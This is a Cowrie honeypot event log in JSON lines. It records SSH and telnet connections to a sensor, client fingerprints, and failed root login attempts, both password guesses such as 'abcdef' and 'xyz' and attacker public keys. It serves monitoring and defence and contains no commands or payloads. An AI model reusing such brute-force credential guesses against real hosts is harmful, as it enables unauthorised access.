{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:43.348421Z","src_ip":"200.77.172.159","session":"e133a2d0e893","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:43.423122Z","src_ip":"200.77.172.159","session":"e133a2d0e893","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcdef","message":"login attempt [root/abcdef] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:43.755367Z","src_ip":"200.77.172.159","session":"e133a2d0e893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.24520969390869,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:43.976547Z","src_ip":"50.6.8.71","session":"4b677fbbaf82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:44.833576Z","src_ip":"200.77.172.159","session":"e133a2d0e893","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"708f139819a0","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: 708f139819a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:47.011864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:47.016550Z","src_ip":"4.210.91.174","session":"708f139819a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:47.083607Z","src_ip":"4.210.91.174","session":"708f139819a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xyz","message":"login attempt [root/xyz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:47.384717Z","src_ip":"4.210.91.174","session":"708f139819a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:48.463273Z","src_ip":"4.210.91.174","session":"708f139819a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.17495250701904,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:49.641255Z","src_ip":"50.6.8.71","session":"a5d8c9baca61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.10893702507019,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:50.619155Z","src_ip":"50.6.8.71","session":"4fe6129aca2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56828,"dst_ip":"10.17.0.5","dst_port":23,"session":"370b4444e3d3","protocol":"telnet","message":"New connection: 50.6.8.71:56828 (10.17.0.5:23) [session: 370b4444e3d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:56.940887Z"}
{"eventid":"cowrie.session.closed","duration":35.03929662704468,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:58.058724Z","src_ip":"50.6.8.71","session":"9d31eaa4b065","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.86210060119629,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:03.779436Z","src_ip":"50.6.8.71","session":"0a16f1341f70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51930,"dst_ip":"10.17.0.5","dst_port":23,"session":"c750c11be055","protocol":"telnet","message":"New connection: 50.6.8.71:51930 (10.17.0.5:23) [session: c750c11be055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:14.125952Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51914,"dst_ip":"10.17.0.5","dst_port":23,"session":"25c319363004","protocol":"telnet","message":"New connection: 50.6.8.71:51914 (10.17.0.5:23) [session: 25c319363004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:14.855590Z"}
{"eventid":"cowrie.session.closed","duration":41.753511905670166,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:15.570308Z","src_ip":"23.94.28.189","session":"abf17ca0ac15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.088294982910156,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:17.105579Z","src_ip":"50.6.8.71","session":"13d392e8da02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56172,"dst_ip":"10.17.0.5","dst_port":23,"session":"4499439bc60e","protocol":"telnet","message":"New connection: 50.6.8.71:56172 (10.17.0.5:23) [session: 4499439bc60e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:17.717283Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56176,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a16761f0f12","protocol":"telnet","message":"New connection: 50.6.8.71:56176 (10.17.0.5:23) [session: 9a16761f0f12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:24.556398Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.209.8.82","src_port":60600,"dst_ip":"10.17.0.5","dst_port":22,"session":"e43bb67eeded","protocol":"ssh","message":"New connection: 209.209.8.82:60600 (10.17.0.5:22) [session: e43bb67eeded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:32.472292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:32.475911Z","src_ip":"209.209.8.82","session":"e43bb67eeded","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:32.496303Z","src_ip":"209.209.8.82","session":"e43bb67eeded","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cc:44:9a:d0:f3:a2:3f:7a:93:8c:93:8b:3f:f4:1e:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFaKoj9/Tj82Sw/9uhYeekCjM6PU4MjRGf/7Dyf0whUaRNfJTsP/3LdiZmB7PYpzw458rQbFQuln/Yx0VpyRRWAZtq2l0UJzbDie08ifjYXMok39Lnp7PMkejQ24IRGgsPn492DM/Af0wTrxfnf7z1i6oB0DDk3ZNFhUVkZ+0rRnQSLFxzYvqnWwEttZQgEUdtaFx6HI7OvUJuly3vUalvaCczm6gKHPIpXiix5oMSGIqMHMlPEClJAozuufSKrlVxxjtU6PryX2rGA8hvWC8PbZhJtCfOLwuUIKlDs8uesuCurl/7QIw2zCwdtpdy6DqKsQc6Inel4VxL9lj1pp6/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cc:44:9a:d0:f3:a2:3f:7a:93:8c:93:8b:3f:f4:1e:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:32.576403Z","src_ip":"209.209.8.82","session":"e43bb67eeded","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cc:44:9a:d0:f3:a2:3f:7a:93:8c:93:8b:3f:f4:1e:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFaKoj9/Tj82Sw/9uhYeekCjM6PU4MjRGf/7Dyf0whUaRNfJTsP/3LdiZmB7PYpzw458rQbFQuln/Yx0VpyRRWAZtq2l0UJzbDie08ifjYXMok39Lnp7PMkejQ24IRGgsPn492DM/Af0wTrxfnf7z1i6oB0DDk3ZNFhUVkZ+0rRnQSLFxzYvqnWwEttZQgEUdtaFx6HI7OvUJuly3vUalvaCczm6gKHPIpXiix5oMSGIqMHMlPEClJAozuufSKrlVxxjtU6PryX2rGA8hvWC8PbZhJtCfOLwuUIKlDs8uesuCurl/7QIw2zCwdtpdy6DqKsQc6Inel4VxL9lj1pp6/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:32.579712Z","src_ip":"209.209.8.82","session":"e43bb67eeded","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:df:ce:5f:45:a3:65:89:c9:a2:ee:85:e6:2d:a5:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDnYmvUqHLMl9BNgvbjQJH5SpCuegCBdyULdQPAT9v7FXcxerujl9Ccsn1lim6g5Jq6n/sMaNZhsb0cz4cZEkiDc90+6l0916Zm5pbzIZnxr4c58GqpbXITeh4RnW4LpoGPKqqM19uhhVAyaOcM3xC25Pv5o7208OIvoDKa7V44z1Rm9uzPvOA0FKBtgnm8/XTszT/HVUCU+cL+EQIUzBo/6sFBjthPjAO0ko6ODaHcYrsax2bhHM1jm9Nj4tj1tXkvr1M4lLpvVxctarNa3SaiJ2KkZX0VuQGkP/GbkRV42aPWdQOelxnbKDwepxbqL76hTwe7ryxpsfX/3kht9i0JvY2F5IOe3ALIzujAebwfwor17dpgSUoHAPmZ9naE0MYbcOm6xiSkX4+JRXasvGJlRxFJqMVdvuTKRbAmsOa7H4WhgyJpWSALl+XK9X2BIDVw+VGvRaNwRisMQIvZ9c7ubYpWW9/EOn4+ljj40xMnxXBaPm++x1ffi73GScsBKGHmt98EYlV7hjRyuEN00gmNufBZ/HOgA9V1sg21LKRf1Xejo9zShpeRzZeErcGjry8XTq9Evrosnd8nuz9d57EXPY5LUVhz2sD6rQq3Vm+j4U4EPyVmtKRGXQg3AGF8yv8AMvRwqqk9hs/xOTiZHT1MKUBp89ZZjSu3XNG12tBRRQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:df:ce:5f:45:a3:65:89:c9:a2:ee:85:e6:2d:a5:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:32.599219Z","src_ip":"209.209.8.82","session":"e43bb67eeded","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:df:ce:5f:45:a3:65:89:c9:a2:ee:85:e6:2d:a5:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDnYmvUqHLMl9BNgvbjQJH5SpCuegCBdyULdQPAT9v7FXcxerujl9Ccsn1lim6g5Jq6n/sMaNZhsb0cz4cZEkiDc90+6l0916Zm5pbzIZnxr4c58GqpbXITeh4RnW4LpoGPKqqM19uhhVAyaOcM3xC25Pv5o7208OIvoDKa7V44z1Rm9uzPvOA0FKBtgnm8/XTszT/HVUCU+cL+EQIUzBo/6sFBjthPjAO0ko6ODaHcYrsax2bhHM1jm9Nj4tj1tXkvr1M4lLpvVxctarNa3SaiJ2KkZX0VuQGkP/GbkRV42aPWdQOelxnbKDwepxbqL76hTwe7ryxpsfX/3kht9i0JvY2F5IOe3ALIzujAebwfwor17dpgSUoHAPmZ9naE0MYbcOm6xiSkX4+JRXasvGJlRxFJqMVdvuTKRbAmsOa7H4WhgyJpWSALl+XK9X2BIDVw+VGvRaNwRisMQIvZ9c7ubYpWW9/EOn4+ljj40xMnxXBaPm++x1ffi73GScsBKGHmt98EYlV7hjRyuEN00gmNufBZ/HOgA9V1sg21LKRf1Xejo9zShpeRzZeErcGjry8XTq9Evrosnd8nuz9d57EXPY5LUVhz2sD6rQq3Vm+j4U4EPyVmtKRGXQg3AGF8yv8AMvRwqqk9hs/xOTiZHT1MKUBp89ZZjSu3XNG12tBRRQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:32.605169Z","src_ip":"209.209.8.82","session":"e43bb67eeded","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2e:cd:f9:ca:8f:77:63:87:0f:05:a4:5b:92:ff:f6:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnTcxQ/OZrURtr2Y9lwt7wtzaVpzRU3q4i/0F0Br758p0cplAbPchHfLu0efgGYsmsDfkxzxYligITXz6lEL+A8qV7M8z/qPGkfYU7ve3n8L3aWFkJqyQiCYtt0ySQj2ZlEjKuWPMuxHjGhsrXQ5FkXR8p0Lk4pvkCWukhUYv+lmi3j03BxcEYKrgmjVwn0b+eZQspJzFhfEG+pcbx7kduvaI6Xp5m20TbVxSvGmE/mIxPphfbRGoK3lYqxbMFhDK+gX5Ob5iI8ScdROzFmNG+iChmw07NguIYyEcroPvn+nLpVVUcuGaXYnnCynjnhSs7YzH3lEGlP4FSAdbpiWOzS2tal0NzhO9vnykWuZn5msggBn1Hc1unu3lcFTm27pDSnBI2k8tkLMfzYx7YXc2087xahkJU3N0k3XEqZhITBApXsYj6tuGH5VO0baj6Xs2s2jXHC+j6k4gqE7wWMX7e6A+IaQAXnvTC7LOz42F4akbsIAtwO6xDsFNgVDU2T4PSQQnYqvQxscek6PcOzcZ4+4QDjTXGh5wRP2LIWarkyjVxnA6m7p3CMM24wZVBBSNZr2lvksj2cNIqI9v1Vmm06qub7RsX+FeDPkOGmlySwdhGtggB+L+VPOStEZvYJkQ/E+ynogaVYFswsBQ0FBVL0wv4KWaYu1IGWEN2H4HMQw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2e:cd:f9:ca:8f:77:63:87:0f:05:a4:5b:92:ff:f6:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:32.627837Z","src_ip":"209.209.8.82","session":"e43bb67eeded","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2e:cd:f9:ca:8f:77:63:87:0f:05:a4:5b:92:ff:f6:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnTcxQ/OZrURtr2Y9lwt7wtzaVpzRU3q4i/0F0Br758p0cplAbPchHfLu0efgGYsmsDfkxzxYligITXz6lEL+A8qV7M8z/qPGkfYU7ve3n8L3aWFkJqyQiCYtt0ySQj2ZlEjKuWPMuxHjGhsrXQ5FkXR8p0Lk4pvkCWukhUYv+lmi3j03BxcEYKrgmjVwn0b+eZQspJzFhfEG+pcbx7kduvaI6Xp5m20TbVxSvGmE/mIxPphfbRGoK3lYqxbMFhDK+gX5Ob5iI8ScdROzFmNG+iChmw07NguIYyEcroPvn+nLpVVUcuGaXYnnCynjnhSs7YzH3lEGlP4FSAdbpiWOzS2tal0NzhO9vnykWuZn5msggBn1Hc1unu3lcFTm27pDSnBI2k8tkLMfzYx7YXc2087xahkJU3N0k3XEqZhITBApXsYj6tuGH5VO0baj6Xs2s2jXHC+j6k4gqE7wWMX7e6A+IaQAXnvTC7LOz42F4akbsIAtwO6xDsFNgVDU2T4PSQQnYqvQxscek6PcOzcZ4+4QDjTXGh5wRP2LIWarkyjVxnA6m7p3CMM24wZVBBSNZr2lvksj2cNIqI9v1Vmm06qub7RsX+FeDPkOGmlySwdhGtggB+L+VPOStEZvYJkQ/E+ynogaVYFswsBQ0FBVL0wv4KWaYu1IGWEN2H4HMQw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:32.631684Z","src_ip":"209.209.8.82","session":"e43bb67eeded","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:33:09:2d:e0:99:dc:86:f8:57:83:1a:29:0b:8c:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDJ/uPk3XEIKKilz0od5rS5UOJb/6niXwagNhdg3+9hO69rDrA0HtfA8Upxu2veNuUQGBMnNHSVWfJeXY1aFmlwrH89svYV7rKvTKxeT/510g3irABL+VhleFX0kRBTzDA8PvImkpLw5UhBk3YQqEjreS+jovx57GZTwQc+UefTV0p9rPq8j1NXH468drGV0K+eStnQ7u5ztPuPy3QOowUCPVNEoZD2n98Tyj9bYnPaDiUimeNnvPokSVQg/9m1+OZS+V8vexglPZ4zlTMNyjILZEO5BHodHjM4lfE2U7L9NfWfe6NOUrQ+C5iXSkuCBM7Qs4bfpLMksGzfp/sAM/BlhfCjhaRpsoNoBsRGCY2TioKUl+6eZnVLwSwhy3ASul/EQ+f4qUb3Lx8pHpIYQ+Q8SWT1QuXHX9YvU3DEz3tBe2Edb6XWCiuEmvUrieKttWY+I2D/XbZt//VOd2UDItdTUiXm4vohdrXkkCTLD0R8mtyXvNBs5VQ6DXoXk9QL2dAN44SbKC5toLdCTfU03LMTEuki+sed5pggkG/ErA67HLrCcgXpepofmKKfo0FOYS052TFnW7FrkqdTrkjtpAOyj17nAteY69wUsxL+m/tJ8yIGZkB+AWiijDMrgoP2S1rbYBWpyeFA4D5kNCD6HV4w6FwXTvG3np0Bk/bvT3o0Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:33:09:2d:e0:99:dc:86:f8:57:83:1a:29:0b:8c:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:32.652522Z","src_ip":"209.209.8.82","session":"e43bb67eeded","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:33:09:2d:e0:99:dc:86:f8:57:83:1a:29:0b:8c:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDJ/uPk3XEIKKilz0od5rS5UOJb/6niXwagNhdg3+9hO69rDrA0HtfA8Upxu2veNuUQGBMnNHSVWfJeXY1aFmlwrH89svYV7rKvTKxeT/510g3irABL+VhleFX0kRBTzDA8PvImkpLw5UhBk3YQqEjreS+jovx57GZTwQc+UefTV0p9rPq8j1NXH468drGV0K+eStnQ7u5ztPuPy3QOowUCPVNEoZD2n98Tyj9bYnPaDiUimeNnvPokSVQg/9m1+OZS+V8vexglPZ4zlTMNyjILZEO5BHodHjM4lfE2U7L9NfWfe6NOUrQ+C5iXSkuCBM7Qs4bfpLMksGzfp/sAM/BlhfCjhaRpsoNoBsRGCY2TioKUl+6eZnVLwSwhy3ASul/EQ+f4qUb3Lx8pHpIYQ+Q8SWT1QuXHX9YvU3DEz3tBe2Edb6XWCiuEmvUrieKttWY+I2D/XbZt//VOd2UDItdTUiXm4vohdrXkkCTLD0R8mtyXvNBs5VQ6DXoXk9QL2dAN44SbKC5toLdCTfU03LMTEuki+sed5pggkG/ErA67HLrCcgXpepofmKKfo0FOYS052TFnW7FrkqdTrkjtpAOyj17nAteY69wUsxL+m/tJ8yIGZkB+AWiijDMrgoP2S1rbYBWpyeFA4D5kNCD6HV4w6FwXTvG3np0Bk/bvT3o0Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:32.656843Z","src_ip":"209.209.8.82","session":"e43bb67eeded","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:06:da:ff:9e:db:a7:83:2d:90:cb:3a:5b:0c:dc:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnIxjZ8gSctKYI8xw+JaaAVAQWysBY2edlKPHoc6pultwUU8Ys/61Tpr0H6Kj7UBMIqEYQPkgQl8qNtjTJjZ7DtYkigg7GVTd6k8p6XW7xcD5cexPx5BigDYcVbnxiTB1Xto/ae/C2VC7wgbS3T9HbCKnFiJDD2Y1w9KJJ/k95lXlWWQCdXv2MnyJELalNUi7xcyY9o8CPubq/8hSVg6bYGn5j6cI4gfiwNFXUY81n5FohNoQ+y8iFgIPrwSoskoUQNv8TnMsOlJbKwW7pmjwS9UdM6um8ZZa7MBW0ijaLJ1w2DZx/PXytYn8n9KyKIIUK96nw73X3GJOFS9lcCWPVoV6DUVV4VVSMGkU7C8HCh8N95jHK+GCZZj7TUZwdlfTzVykkDAyipw/sc0vHcFuv6BluZbGkI7dUPEbX4Nqftd6I291fq1bzw8nr3JTPzBhICZ27/fg859+xaicoLRFr5UrLo0mo7QuEyyiDdbKD8wj3LRQJbwQAguCZCZRpnkMbDc93iIKrbwgMUcWEHs7zsVCYNIGMp8wpROj3ntpsKxcLOpe1+xWVlrUj9LXXahHePGgfXzBpqM2J6x3Sr2oOjc8+RR1r0kVtKA3XLkT8hHL9IoakGpMYa3QpmFWnYfFORh1VhthJRRmIusD36GT7H1mDTdnbec7kPkTBN+XciQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:06:da:ff:9e:db:a7:83:2d:90:cb:3a:5b:0c:dc:ea","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:32.679718Z","src_ip":"209.209.8.82","session":"e43bb67eeded","protocol":"ssh"}
